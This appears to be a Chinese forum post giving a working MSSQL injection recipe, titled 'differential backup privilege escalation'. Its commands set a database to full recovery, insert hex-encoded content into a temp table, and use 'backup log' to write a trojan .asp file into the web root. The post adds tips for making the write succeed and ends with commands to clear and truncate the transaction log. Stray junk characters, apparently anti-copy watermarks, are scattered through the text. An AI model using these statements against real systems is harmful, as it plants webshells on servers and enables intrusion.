差异备份提权

admin

select * from master.dbo.sysdatabases　 列出所有列的记录
) M3 k5 |9 s; {
4 z: g$ X" B. uselect name from master.dbo.sysdatabases 仅列出name列的记录

注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份

alter database 数据库名 set RECOVERY FULL--
) A  C8 L+ V$ O4 n: G
create table cmd (a image)--                    \**cmd是创建的临时表
7 _# C0 P+ d; t- `& m6 {" g6 C
0 l  [0 L- l1 E% \backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
% S- ?7 A1 }7 S; t# R' t
insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
  e8 G9 c1 S0 O3 q% q5 p" n- P: M
1 u# M* q4 Z5 D" o8 Q4 E1 d$ R//木马存放路径（转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个）

2 d* i9 q5 z( m9 T% m" }* Wbackup log 数据库名 to disk = 'f:\wwwroot\1.asp'--  (要备份的目录)
4 N8 L5 d/ g9 J- @1 r  k
; h( _* ~1 M7 s7 b" {drop table cmd--

# Z8 L1 ^2 N6 j/ ~" T# ]7 u
( O3 f& J; F; l7 F7 \f:\
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)

最好多加几个回车0d0a,要不会出错哈


SQL   Server日志清空方法   

; G& o  w( n4 e- q& |) X在查询分析器中顺序执行以下三步，其中   databasename   为你的数据库文件名
6 X8 @( a3 n" I; r( E) M# r1.清空日志：DUMP   TRANSACTION   databasename   WITH   NO_LOG   
' v3 Z4 q, f# X" v
% f8 u$ k% Y" O2.截断事务日志：BACKUP   LOG   databasename   WITH   NO_LOG   
( G! v: p2 `6 q/ ~4 r
3.收缩数据库：DBCC   SHRINKDATABASE(databasename)